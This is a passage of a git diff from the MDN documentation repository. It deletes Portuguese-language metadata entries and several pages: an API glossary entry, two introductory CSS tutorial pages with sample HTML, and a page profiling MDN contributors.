"2019-03-24T00:00:39.116Z", - "contributors": [ - "fscholz", - "teoli", - "Verruckt", - "Leandro Mercês Xavier", - "Pilinio" - ] - }, - "conflicting/MDN/Contribute": { - "modified": "2020-02-19T18:51:00.800Z", - "contributors": [ - "jswisher", - "Anonymous" - ] - }, - "conflicting/Web/API": { - "modified": "2019-03-23T22:01:53.174Z", - "contributors": [ - "Anonymous", - "wbamberg", - "fscholz" - ] - }, - "conflicting/Web/API/Web_Storage_API": { - "modified": "2019-03-18T21:46:00.224Z", - "contributors": [ - "Anonymous" - ] - }, - "conflicting/Web/API/XMLHttpRequest": { - "modified": "2019-03-23T23:50:48.749Z", - "contributors": [ - "SphinxKnight", - "Leandro Mercês Xavier", - "RuiMaciel" - ] - }, - "conflicting/Web/JavaScript/Reference/Global_Objects/Number": { - "modified": "2019-03-23T22:49:04.241Z", - "contributors": [ - "Redeagle48" - ] - }, - "conflicting/Web/JavaScript/Reference/Global_Objects/Object": { - "modified": "2020-10-15T22:13:51.986Z", - "contributors": [ - "Anonymous" - ] - }, - "conflicting/Web/Progressive_web_apps": { - "modified": "2019-03-18T20:52:07.669Z", - "contributors": [ - "chrisdavidmills", - "Anonymous" - ] - }, - "conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks": { - "modified": "2019-03-18T20:52:08.064Z", - "contributors": [ - "chrisdavidmills", - "Anonymous" - ] - }, - "conflicting/Web/Progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a": { - "modified": "2019-03-18T20:52:08.238Z", - "contributors": [ - "chrisdavidmills", - "Anonymous" - ] - }, - "orphaned/Acentuação_para_conteúdos_carregados_por_AJAX": { - "modified": "2019-03-23T23:50:32.509Z", - "contributors": [ - "Leandro Mercês Xavier", - "JulioGreff", - "Micox", - "Douglas", - "Pfsergio1968" - ] - }, - "orphaned/Componentes": { - "modified": "2019-03-23T23:40:02.292Z", - "contributors": [ - "SphinxKnight", - "GrandeBuzina" - ] - }, - "orphaned/Configurando_um_servidor_de_atualização": { - "modified": "2019-01-16T14:51:09.548Z", - "contributors": [ - "Leandro Mercês Xavier" - ] - }, - "orphaned/Construir_uma_Extensão": { - "modified": "2019-03-24T00:04:05.919Z", - "contributors": [ - "teoli", - "fscholz", - "Rhuanbarros", - "Rsjuliao", - "Horyuu1", - "Leandro Mercês Xavier", - "Dudaott", - "Ecocam", - "Toyux", - "Verruckt", - "Luis Henrique Sousa", - "Mr.leal", - "Joker pt", - "Brunnolou", - "Bermonruf" - ] - }, - "orphaned/Controles_XUL": { - "modified": "2019-03-24T00:03:56.894Z", - "contributors": [ - "fscholz", - "Luis Henrique Sousa", - "Verruckt" - ] - }, - "orphaned/Criando_um_visual_para_o_Firefox": { - "modified": "2019-03-23T23:51:38.630Z", - "contributors": [ - "SphinxKnight", - "Milona87", - "Thestrongergod", - "Verruckt", - "Camaleaun" - ] - }, - "orphaned/Criar_uma_pele_para_o_Firefox": { - "modified": "2019-01-16T16:12:28.704Z", - "contributors": [ - "MarceloGhelman", - "Leandro Mercês Xavier", - "Amrlima" - ] - }, - "orphaned/Desenhando_texto_usando_canvas": { - "modified": "2019-03-23T23:59:25.399Z", - "contributors": [ - "Wladimir_Palant", - "maicon", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "orphaned/FAQ_Extensões": { - "modified": "2019-01-16T14:39:04.547Z", - "contributors": [ - "fscholz", - "Luis Henrique Sousa", - "Toyux", - "Verruckt", - "Calebeaires" - ] - }, - "orphaned/Firefox_3_para_desenvolvedores": { - "modified": "2019-01-16T14:32:08.166Z", - "contributors": [ - "teoli", - "fscholz", - "Verruckt", - "Fernandopsilveira", - "Leandro Mercês Xavier" - ] - }, - "orphaned/Java_em_Extensões_do_Firefox": { - "modified": "2019-03-23T23:44:51.954Z", - "contributors": [ - "SphinxKnight", - "RuiMaciel" - ] - }, - "orphaned/Javascript_orientado_a_objetos": { - "modified": "2019-03-24T00:11:38.222Z", - "contributors": [ - "flowck", - "Leandro Mercês Xavier" - ] - }, - "orphaned/Learn/HTML/Forms/HTML5_updates": { - "modified": "2019-03-24T00:05:42.238Z", - "contributors": [ - "juliano_aguiar", - "teoli", - "Verruckt" - ] - }, - "orphaned/Localizar_descrições_de_extensões": { - "modified": "2019-03-24T00:02:35.408Z", - "contributors": [ - "SphinxKnight", - "fscholz", - "Verruckt" - ] - }, - "orphaned/MDN/Community": { - "modified": "2019-09-11T08:01:31.979Z", - "contributors": [ - "SphinxKnight", - "Anonymous", - "wbamberg" - ] - }, - "orphaned/MDN/Community/Conversations": { - "modified": "2019-01-16T21:51:19.575Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "orphaned/MDN/Community/Doc_sprints": { - "modified": "2019-03-18T21:19:58.227Z", - "contributors": [ - "Anonymous" - ] - }, - "orphaned/MDN/Community/Whats_happening": { - "modified": "2019-03-23T22:42:12.854Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "orphaned/MDN/Community/Working_in_community": { - "modified": "2020-02-19T19:07:51.992Z", - "contributors": [ - "jswisher", - "wbamberg", - "Anonymous" - ] - }, - "orphaned/MDN/Contribute/Howto/Be_a_beta_tester": { - "modified": "2019-03-23T22:09:29.860Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "orphaned/MDN/Contribute/Howto/Create_an_MDN_account": { - "modified": "2019-03-23T22:42:11.494Z", - "contributors": [ - "Anonymous", - "wbamberg" - ] - }, - "orphaned/MDN/Contribute/Howto/Do_a_technical_review": { - "modified": "2019-05-13T07:55:49.326Z", - "contributors": [ - "Anonymous" - ] - }, - "orphaned/MDN/Contribute/Howto/Do_an_editorial_review": { - "modified": "2019-03-23T22:20:12.878Z", - "contributors": [ - "Anonymous", - "wbamberg", - "samlopes_br" - ] - }, - "orphaned/MDN/Contribute/Howto/Set_the_summary_for_a_page": { - "modified": "2019-03-23T22:08:19.737Z", - "contributors": [ - "wbamberg", - "Saconte", - "Anonymous" - ] - }, - "orphaned/MDN/Contribute/Howto/Tag_JavaScript_pages": { - "modified": "2019-01-17T01:35:48.693Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "orphaned/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web": { - "modified": "2020-02-28T22:23:56.590Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "orphaned/MDN/Editor": { - "modified": "2020-09-30T15:43:23.702Z", - "contributors": [ - "chrisdavidmills", - "Anonymous", - "wbamberg" - ] - }, - "orphaned/MDN/Editor/Basics": { - "modified": "2020-09-30T15:43:23.869Z", - "contributors": [ - "chrisdavidmills", - "Anonymous", - "wbamberg" - ] - }, - "orphaned/MDN/Structures/API_references": { - "modified": "2020-09-30T12:57:10.288Z", - "contributors": [ - "chrisdavidmills", - "wbamberg" - ] - }, - "orphaned/MDN/Structures/API_references/What_does_an_API_reference_need": { - "modified": "2020-09-30T12:57:10.634Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Anonymous" - ] - }, - "orphaned/MDN/Tools/Page_watching": { - "modified": "2020-09-30T16:53:22.646Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Anonymous" - ] - }, - "orphaned/MDN/Tools/Template_editing": { - "modified": "2020-09-30T16:53:23.123Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Anonymous" - ] - }, - "orphaned/MDN/Troubleshooting": { - "modified": "2020-09-30T16:58:33.426Z", - "contributors": [ - "chrisdavidmills", - "wbamberg", - "Anonymous" - ] - }, - "orphaned/Manipuladores_de_protocolo_web": { - "modified": "2019-03-23T23:52:53.802Z", - "contributors": [ - "Verruckt", - "Fernandopsilveira", - "Leandro Mercês Xavier" - ] - }, - "orphaned/Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3": { - "modified": "2019-01-16T14:39:25.788Z", - "contributors": [ - "fscholz", - "Verruckt" - ] - }, - "orphaned/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext": { - "modified": "2019-03-18T21:03:10.522Z", - "contributors": [ - "Anonymous" - ] - }, - "orphaned/Mozilla/Add-ons/WebExtensions/Package_your_extension_": { - "modified": "2019-03-18T21:04:14.402Z", - "contributors": [ - "Anonymous" - ] - }, - "orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension": { - "modified": "2019-03-18T21:05:15.395Z", - "contributors": [ - "Anonymous", - "Nunonmac101" - ] - }, - "orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on": { - "modified": "2019-03-18T20:56:20.829Z", - "contributors": [ - "Anonymous" - ] - }, - "orphaned/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox": { - "modified": "2019-03-18T21:03:04.634Z", - "contributors": [ - "Anonymous" - ] - }, - "orphaned/Mozilla/Add-ons/WebExtensions/User_experience_best_practices": { - "modified": "2019-03-18T21:02:27.071Z", - "contributors": [ - "Anonymous" - ] - }, - "orphaned/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID": { - "modified": "2019-03-18T20:47:01.907Z", - "contributors": [ - "Anonymous" - ] - }, - "orphaned/O_DOM_e_o_JavaScript": { - "modified": "2019-12-13T21:10:33.944Z", - "contributors": [ - "wbamberg", - "fferracioli" - ] - }, - "orphaned/Plugins/Flash_Activation:_Browser_Comparison": { - "modified": "2019-03-18T20:56:19.824Z", - "contributors": [ - "Anonymous" - ] - }, - "orphaned/Referência_JSDBGAPI": { - "modified": "2019-03-23T23:44:44.830Z", - "contributors": [ - "SphinxKnight", - "RuiMaciel" - ] - }, - "orphaned/Referência_do_DOM_Gecko/Prefácio": { - "modified": "2019-03-23T23:51:50.810Z", - "contributors": [ - "khalid32", - "Leandro Mercês Xavier", - "Davis.peixoto" - ] - }, - "orphaned/Sobre_o_Document_Object_Model": { - "modified": "2019-03-23T23:46:25.664Z", - "contributors": [ - "SphinxKnight", - "Verruckt" - ] - }, - "orphaned/Tinderbox": { - "modified": "2019-03-23T23:45:30.178Z", - "contributors": [ - "SphinxKnight", - "Verruckt" - ] - }, - "orphaned/Toolkit_API": { - "modified": "2019-01-16T16:23:47.926Z", - "contributors": [ - "Tagl" - ] - }, - "orphaned/Tools/Add-ons": { - "modified": "2020-07-16T22:36:23.718Z", - "contributors": [ - "wbamberg" - ] - }, - "orphaned/Tools/Add-ons/DOM_Inspector": { - "modified": "2020-07-16T22:36:24.733Z", - "contributors": [ - "wbamberg", - "SphinxKnight", - "Anonymous", - "teoli", - "Verruckt" - ] - }, - "orphaned/Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector": { - "modified": "2020-07-16T22:36:26.057Z", - "contributors": [ - "wbamberg", - "Anonymous" - ] - }, - "orphaned/Transformar_XML_com_XSLT": { - "modified": "2019-03-23T23:45:21.155Z", - "contributors": [ - "SphinxKnight", - "Verruckt" - ] - }, - "orphaned/Transformar_XML_com_XSLT/Para_leitura_adicional": { - "modified": "2019-03-23T23:52:21.068Z", - "contributors": [ - "SphinxKnight", - "Leandro Mercês Xavier", - "Pilinio", - "Verruckt" - ] - }, - "orphaned/Tutorial_XUL": { - "modified": "2019-03-23T23:45:36.792Z", - "contributors": [ - "SphinxKnight", - "Leandro Mercês Xavier" - ] - }, - "orphaned/Tutorial_XUL/Adicionando_botões": { - "modified": "2019-03-23T23:46:29.323Z", - "contributors": [ - "Verruckt", - "Leandro Mercês Xavier", - "Rodmalkav" - ] - }, - "orphaned/Tutorial_XUL/Criando_uma_janela": { - "modified": "2019-03-23T23:45:36.338Z", - "contributors": [ - "SphinxKnight", - "jigs12", - "Leandro Mercês Xavier", - "Luis Henrique Sousa", - "Verruckt", - "Rodmalkav" - ] - }, - "orphaned/Tutorial_XUL/Introdução": { - "modified": "2019-03-23T23:46:27.723Z", - "contributors": [ - "SphinxKnight", - "Verruckt", - "Leandro Mercês Xavier" - ] - }, - "orphaned/Tutorial_do_Canvas": { - "modified": "2019-01-16T14:32:07.975Z", - "contributors": [ - "fscholz", - "Verruckt", - "RuiMaciel" - ] - }, - "orphaned/Tutorial_do_Canvas/Formas_de_desenho": { - "modified": "2019-01-16T14:01:56.255Z", - "contributors": [ - "guerreirogabriel" - ] - }, - "orphaned/Tutorial_do_Canvas/Utilização_básica": { - "modified": "2019-03-24T00:10:34.537Z", - "contributors": [ - "guerreirogabriel", - "Edgarlaguiar", - "Luiz Carlos Moraes", - "Jes", - "Vitor.blacks" - ] - }, - "orphaned/Um_pequeno_exemplo_usando_AJAX": { - "modified": "2019-01-17T03:48:56.314Z", - "contributors": [ - "Leandro Mercês Xavier" - ] - }, - "orphaned/Usando_privilégios_expandidos_em_navegadores_Mozilla": { - "modified": "2019-03-23T23:48:48.468Z", - "contributors": [ - "Leandro Mercês Xavier", - "Verruckt" - ] - }, - "orphaned/Usando_áudio_e_vídeo_no_Firefox": { - "modified": "2019-03-24T00:00:33.796Z", - "contributors": [ - "Leandro Mercês Xavier", - "Verruckt" - ] - }, - "orphaned/Utilizando_meta_tags": { - "modified": "2019-03-23T23:45:18.005Z", - "contributors": [ - "eduardoungaratto", - "AndreGazola", - "Fleury" - ] - }, - "orphaned/Venkman": { - "modified": "2019-03-24T00:02:38.559Z", - "contributors": [ - "SphinxKnight", - "fscholz", - "Verruckt" - ] - }, - "orphaned/Web/CSS/Como_começar/O_que_é_CSS?": { - "modified": "2019-03-23T23:43:00.605Z", - "contributors": [ - "teoli", - "Leandro Mercês Xavier" - ] - }, - "orphaned/Web/Guide/Events": { - "modified": "2019-03-23T22:01:48.833Z", - "contributors": [ - "Anonymous" - ] - }, - "orphaned/Web/JavaScript/Guia/Expressoes_e_Operadores": { - "modified": "2020-03-12T19:38:04.189Z", - "contributors": [ - "duduindo", - "teoli", - "italotoffolo" - ] - }, - "orphaned/Web/JavaScript/Guia/Introdução_ao_JavaScript": { - "modified": "2019-03-24T00:08:50.034Z", - "contributors": [ - "teoli", - "Verruckt" - ] - }, - "orphaned/Web/JavaScript/Guia/Sobre": { - "modified": "2019-03-24T00:08:17.375Z", - "contributors": [ - "Anonymous", - "teoli", - "dancasttro", - "Verruckt" - ] - }, - "orphaned/Web/JavaScript/Guia/Valores,_Variáveis_e_Literais": { - "modified": "2019-08-21T13:40:23.925Z", - "contributors": [ - "chibichibibr", - "SphinxKnight", - "teoli", - "Verruckt" - ] - }, - "orphaned/Web/JavaScript/O_que_é_o_JavaScript": { - "modified": "2019-03-23T23:53:53.371Z", - "contributors": [ - "teoli", - "Sheppy", - "RafaelMS" - ] - }, - "orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype": { - "modified": "2020-10-15T22:14:24.948Z", - "contributors": [ - "ramongr" - ] - }, - "orphaned/Web/MathML/Element/mglyph": { - "modified": "2020-10-15T22:32:17.025Z", - "contributors": [ - "joaonunomota" - ] - }, - "orphaned/Web/MathML/Element/mlabeledtr": { - "modified": "2020-10-15T22:32:27.553Z", - "contributors": [ - "joaonunomota" - ] - }, - "orphaned/Web/XSLT/Comunidade": { - "modified": "2019-01-16T16:00:25.874Z", - "contributors": [ - "ExE-Boss", - "Leandro Mercês Xavier" - ] - }, - "orphaned/Web/XSLT/Elementos": { - "modified": "2019-03-23T23:45:26.056Z", - "contributors": [ - "ExE-Boss", - "Verruckt" - ] - }, - "orphaned/XForms": { - "modified": "2019-03-23T23:46:37.205Z", - "contributors": [ - "Luis Henrique Sousa" - ] - }, - "orphaned/XForms/Controles_Customizados": { - "modified": "2019-01-16T16:02:25.038Z", - "contributors": [ - "Kayalemao", - "Leandro Mercês Xavier", - "Verruckt" - ] - }, - "orphaned/XForms_especiais_para_Mozilla": { - "modified": "2019-03-23T23:56:39.810Z", - "contributors": [ - "Verruckt", - "Kayalemao" - ] - }, - "orphaned/XML_no_Mozilla": { - "modified": "2019-11-21T20:42:12.364Z", - "contributors": [ - "wbamberg", - "Verruckt", - "Victorino" - ] - }, - "orphaned/XPath/Eixos": { - "modified": "2019-01-16T16:02:01.247Z", - "contributors": [ - "Verruckt" - ] - }, - "orphaned/XPath/Funções": { - "modified": "2019-01-16T16:07:00.758Z", - "contributors": [ - "Verruckt" - ] - } -} diff --git a/files/pt-pt/conflicting/glossary/api/index.html b/files/pt-pt/conflicting/glossary/api/index.html deleted file mode 100644 index cac9a8e45d..0000000000 --- a/files/pt-pt/conflicting/glossary/api/index.html +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: IPA -slug: conflicting/Glossary/API -tags: - - Glossário - - IPA - - Infraestrutura -translation_of: Glossary/API -original_slug: Glossário/API ---- -

Uma IPA (Interface de Programação de Aplicação ou em inglês API) é um conjunto de funcionalidades e regras que existem dentro dum logiciário (a aplicação) que habilitam a interação entre o logiciário - em oposição a uma interface de utilizador humana. A IPA pode ser vista como um simples contrato (a interface) entre a aplicação que a oferece e os outros items, como os logiciários e equipamentos de terceiros.

- -

No desenvolvimento da Web, uma IPA é normalmente um conjunto de funcionalidades de código (e.g. {{glossary("method","métodos")}}, {{Glossary("property","propriedades")}}, eventos e {{Glossary("URL","URLs")}}) nas quais um desenvolvedor pode usar nas suas aplicações para interagir com os componentes do navegador dum utilizador, ou outros logiciários/equipamentos no computador do utilizador, ou sítios web e serviços de terceiros.

- -

Por exemplo:

- -
    -
  • A IPA getUserMedia pode ser usada para obter o audio e o vídeo duma câmara web, no qual pode ser depois usado da maneira que o desenvolvedor quiser, por exemplo, gravar um vídeo e um áudio, transmiti-lo para outro utilizador numa chamada de conferência ou capturar imagens estáticas do vídeo.
  • -
  • A IPA Geolocalização pode ser usada para obter a informação da localização de qualquer serviço que o utilizador tem disponível no seu dispositivo (e.g. SPG, ou em inglês GPS), no qual pode ser então usado em conjunto com as IPAs Google Maps para por exemplo traçar a localização do utilizador num mapa personalizado e mostrar a este quais atrações turísticas estão na sua área.
  • -
  • A IPAs Twitter pode ser usada para obter os dados duma conta dum utilizador do twitter, por exemplo, para exibir os seus últimos tuítes na página web.
  • -
  • A IPA Web Animations pode ser usada para animar partes de uma página web - por exemplo, para fazer imagens moverem-se à volta ou rotacionarem.
  • -
- -

Saiba mais

- -

Conhecimento geral

- -
    -
  • {{Interwiki("wikipedia", "Interface_de_programação_de_aplicações", "IPA")}} na Wikipedia
  • -
- -

Referência técnica

- - diff --git a/files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html b/files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html deleted file mode 100644 index e1c841d2c6..0000000000 --- a/files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: O que é CSS -slug: conflicting/Learn/CSS/First_steps/How_CSS_works -tags: - - CSS:Como_começar -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS -original_slug: Web/CSS/Como_começar/O_que_é_CSS ---- -

{{Next("CSS:Como começar:Porque usar CSS")}}

- -

Esta página explica o que é CSS. Você cria um documento de amostra para que possa trabalhar com as páginas seguintes.

- -

Informações: O que é CSS?

- -

CSS é uma linguagem que especifica como os documentos são apresentados aos usuários.

- -

Um documento é uma coleção de informações estruturadas utilizando uma linguagem de marcação.

- - - - - - - - -
Exemplos
-
    -
  • Uma página da Web como esta é um documento.
    - As informações que você vê em uma página da Web, geralmente, é estruturada utilizando a linguagem de marcação HTML (HyperText Markup Language - Linguagem de Marcação de Hiper Texto).
  • -
- -
    -
  • Uma caixa de diálogo em um aplicativo Mozilla é um documento.
    - A interface com o usuário controla o que aparece em uma caixa de diálogo Mozilla, que é estruturada utilizando a linguagem de marcação XUL (XML User-interface Language - Linguagem de Interface do Usuário XML).
  • -
-
- -

Neste tutorial, os quadros entitulados Mais detalhes como este logo abaixo, contêm informações opcionais. Se você está com pressa para progredir no tutorial, você pode ignorar esses quadros, retornando para lê-los posteriormente. Caso contrário, leia-os ao encontrá-los, e talvez siga os links para aprender mais.

- - - - - - - - -
Mais detalhes
-

Um documento não é igual a um arquivo. Ele pode ou não ser armazenado em um arquivo.

- -

Por exemplo, o documento que você está lendo agora não está armazendo em um arquivo. Quando seu navegador da Web solicita esta página, o servidor consulta um banco de dados e gera o documento, reunindo partes do documento a partir de muitos arquivos. Entretanto, neste tutorial você vai trabalhar com documentos que estão armazenados em arquivos.

- -

Para mais informações sobre documentos e linguagens de marcação, consulte outras partes deste Web site — por exemplo:

- - - - - - - - - - - - - - - - - - - - -
HTMLpara páginas da Web
XMLpara documentos estruturados em geral
SVGpara gráficos
XULpara interfaces com o usuário no Mozilla
- -

Na Parte II deste tutorial você verá exemplos dessas linguagens de marcação.

-
- -

Apresentar um documento a um usuário significa convertê-lo para uma forma que humanos possam usá-lo. O Mozilla é projetado para apresentar documentos visualmente — por exemplo, em uma tela de computador, projetor ou impressora.

- - - - - - - - -
Mais detalhes
CSS não serve apenas para navegadores e apresentação visual. Em uma terminologia formal de CSS, o programa que apresenta um documento ao usuário é chamado de agente usuário (UA - User Agent). Um navegador é apenas um tipo de UA. Entretanto, na Parte I deste tutorial você irá trabalhar apenas com CSS em um navegador. -

Para mais definições formais de terminologia sobre CSS, consulte Definitions na CSS Specification.

-
- -

Ação: Criando um documento

- -

Utilize seu computador para criar um novo diretório e um novo arquivo de texto dentro dele. O arquivo irá conter seu documento.

- -

Copie e cole o código HTML mostrado abaixo. Salve o arquivo utilizando o nome doc1.html

- -
-
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<html>
-  <head>
-  <title>Documento de amostra</title>
-  </head>
-
-  <body>
-    <p>
-      <strong>C</strong>ascading
-      <strong>S</strong>tyle
-      <strong>S</strong>heets
-    </p>
-  </body>
-</html>
-
-
- -

Em seu navegador, abra uma aba ou uma nova janela, e abra o arquivo do diretório.

- -

Você deve ver o texto com as iniciais em negrito, conforme abaixo:

- - - - - - - -
Cascading Style Sheets
- -

O que você vê em seu navegador pode não ser exatamente como o exibido aqui, por causa das configurações de seu navegador e deste wiki. Se houver diferenças na fonte, espaçamento ou cor, não há importância.

- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Seu documento ainda não utiliza CSS. Na página a seguir você utilizará CSS para especificar o estilo: Porque usar CSS

- -

{{Next("CSS:Como começar:Porque usar CSS")}}

diff --git a/files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html b/files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html deleted file mode 100644 index 7a412579a8..0000000000 --- a/files/pt-pt/conflicting/learn/css/first_steps/how_css_works_0767812f50daab83155d62da97c6e460/index.html +++ /dev/null @@ -1,113 +0,0 @@ ---- -title: Porque usar CSS -slug: >- - conflicting/Learn/CSS/First_steps/How_CSS_works_0767812f50daab83155d62da97c6e460 -tags: - - CSS:Como_começar -translation_of: Learn/CSS/First_steps/How_CSS_works -translation_of_original: Web/Guide/CSS/Getting_started/Why_use_CSS -original_slug: Web/CSS/Como_começar/Porque_usar_CSS ---- -

{{ PreviousNext("CSS:Como começar:O que é CSS", "CSS:Como começar:Como o CSS trabalha") }}

- -

Esta página explica porque os documentos usam CSS. Você usa CSS para adicionar uma folha de estilo ao seu documento de amostra.

- -

Informações: Por que usar CSS?

- -

CSS ajuda a manter o conteúdo das informações de um documento separado dos detalhes de como exibí-lo. Os detalhes de como exibir o documento são conhecidos como estilo. Você mantém o estilo separado do conteúdo, de modo que você pode:

- -
    -
  • Evitar duplicação
  • -
  • Tornar a manutenção mais fácil
  • -
  • Utilizar o conteúdo com diferentes estilos para diferentes propósitos
  • -
- - - - - - - - -
Exemplo
Seu Web site pode ter milhares de páginas similares. Utilizando CSS, você armazena as informações em arquivos comuns que todas as páginas compartilham. -

Quando um usuário exibe uma página da Web, o navegador do usuário carrega as informações de estilo junto com o conteúdo da página.

- -

Quando um usuário imprime uma página da Web, você fornece informações de estilo diferentes que tornam a página impressa mais fácil de ler.

-
- -

Geralmente, com CSS, você utiliza a linguagem de marcação para descrever o conteúdo das informações do documento, não seu estilo. Você utiliza CSS para especificar o estilo, não o conteúdo. (Posteriormente neste tutorial, você verá algumas exceções deste método.)

- - - - - - - - -
Mais detalhes
Uma linguagem de marcação, como o HTML, também fornece alguns modos de especificar o estilo. -

Por exemplo, em HTML, você pode usar uma tag <b> para tornar o texto negrito, e você pode especificar a cor do segundo plano de uma página na tag <body>.

- -

Ao utilizar CSS, você normalmente evita utilizar esses recursos da linguagem de marcação para que todas as informações de estilo de seu documento estejam em um só lugar.

-
- -

Ação: Criando uma folha de estilo

- -

Crie outro arquivo de texto no mesmo diretório do anterior. Este arquivo será sua folha de estilo. Nomeie-o como: style1.css

- -

Em seu arquivo CSS, copie e cole esta única linha, então salve o arquivo:

- -
-
strong {color: red;}
-
-
- -

Ligando seu documento à sua folha de estilo

- -

Para ligar seu documento com sua folha de estilo, edite seu aquivo HTML. Adicione a linha mostrada aqui em negrito:

- -
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-  <HEAD>
-  <TITLE>Documento de amostra</TITLE>
-  <LINK rel="stylesheet" type="text/css" href="style1.css">
-  </HEAD>
-  <BODY>
-    <P>
-      <STRONG>C</STRONG>ascading
-      <STRONG>S</STRONG>tyle
-      <STRONG>S</STRONG>heets
-    </P>
-  </BODY>
-</HTML>
-
-
- -

Salve o arquivo e atualize a tela do seu navegador. A folha de estilo fez as letras iniciais aparecerem em vermelha, como isto:

- - - - - - - -
Cascading Style Sheets
- - - - - - - - -
Desafio
Além do vermelho, CSS permite algumas outras cores com nomes. -

Sem olhar um referência, ache mais cinco nomes de cores que trabalham em sua folha de estilo.

-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Agora você tem um documento de amostra ligado a uma folha de estilo separada, você está pronto para ler mais sobre como seu navegador combina-os quando exibe o documento na tela: Como o CSS trabalha.

- -

{{ PreviousNext("CSS:Como começar:O que é CSS", "CSS:Como começar:Como o CSS trabalha") }}

diff --git a/files/pt-pt/conflicting/mdn/contribute/index.html b/files/pt-pt/conflicting/mdn/contribute/index.html deleted file mode 100644 index 7d491bd72f..0000000000 --- a/files/pt-pt/conflicting/mdn/contribute/index.html +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Contribuir para a MDN -slug: conflicting/MDN/Contribute -tags: - - Metadados MDN - - Mozilla - - contribuir -translation_of: MDN_at_ten/Contributing_to_MDN -original_slug: MDN_at_ten/Contribuir_para_MDN ---- -
-
-

O processo de contribuição

- -

Contributing to MDN is easy, and there are two ways you can get started. Do you see a page you can make better (by fixing a typo, or adding new information, or fixing technical errors)? Just click the big blue "Edit" button at the top of the page. Do you know something that we don’t cover yet? Just create a new page; our community of amazing reviewers and editors will ensure that your page matches our style guide and is in the right place on the site. No stress over getting it "just right." Everyone can help make the Web a better place.

-
- -
-
-
-

Junte-se a nós!

- -

Junte-se a nós, para ensinar o mundo a desenvolver a Web aberta!

- -

Junte-se hoje

-
-
-
-
- -
-
-

Uma amostragem de perfis de colaborador

- -

MDN is made up of a vast community of contributors. While we can't offer profiles of all of them (we'd be here for a very long time!), we can share something about a few of the ones who have made substantial or important contributions, as well as those who are most likely to be available on the MDN Web Docs chat room to help you out if you could use some assistance with your contributions.

- -
-
-

Chris Blizzard
- Antigo Diretor de Evangelismo, Mozilla

- -

Blizzard oversaw and drove Mozilla Developer Center's transition from focusing on Mozilla-specific material to a community-maintained resource useful to a variety of Web developers.

- -

Nickolay Ponomarev
- Voluntário

- -

Nickolay was one of the earliest contributors, helping with the initial DevEdge clean-up effort. He has continued contributing in many areas, both for Web standards and Mozilla products, ever since.

- -

Andrew Overholt
- Gestor de Engenheiros

- -

Andrew leads developers on the Web API team. As part of his job, he encourages all DOM and API developers to help make sure documentation is great by providing information the writing team needs, reviewing documentation, and assisting with sample code. This example makes the MDN team very, very happy.

- -

Jérémie Patonnier
- Gestor de Projeto

- -

Jérémie began contributing to MDN in 2011 by documenting SVG properties, because he needed this information for his own work. Jérémie has become a leader in the MDN French community, hosting regular "Mercredi Docs" (Wednesday Docs) sessions in the Mozilla Paris office. Currently, he is leading efforts to create the Learning area and to improve and regularize browser compatibility data across MDN.

- -

Julien (Sphinx)
- Voluntário

- -

Julien contributed the "lion's share" of effort to translate the entire JavaScript section of MDN into French. Many other contributors also helped in this effort, but Julien spent many nights and weekends over several months, translating JavaScript articles.

- -

Jeff Walden
- Engenheiro de Software, JavaScript Engine

- -

Jeff Walden is now on the SpiderMonkey team, who has contributed to MDN since its beginning, and across many topic areas, including XPCOM, Mozilla build and test, JavaScript, CSS, and more.

-
- -
-

Priyanka Nag
- Voluntária

- -

Priyanka Nag joined MDN in 2012, but she became active with the MDN community only after the Mozilla Summit in 2013, where she met and worked with Luke Crouch and David Walsh from the MDN development team; this acted as her main inspiration to start contributing to MDN. Priyanka mainly enjoys evangelizing MDN, hosting MDN events and introducing more people to MDN, along with making some edits on the wiki at times. She is currently working as a Technical writer at Red Hat and she proudly claims that her interest in technical writing started through her MDN contributions, which ended up influencing her career decision in a great way.

- -

Saurabh Nair
- Voluntário

- -

Saurabh has been contributing to MDN since 2011, and became more active in the last year. He is on the “spam watch” team, who look out for spam pages, deleting them and banning the spammers as soon as they appear. Since he lives in India, he can do this while MDN staff members in Europe and North America are sleeping.

- -

Eric Shepherd (Sheppy)
- Escritor Técnico Sénior

- -

{{UserLink("Sheppy")}} was the first full-time writer hired by Mozilla to work exclusively on developer documentation, starting way back on April 3, 2006. He writes about anything that needs coverage, including stuff nobody else wants anything to do with. Over the years, he's written extensively about everything from Add-ons to XUL.

- -

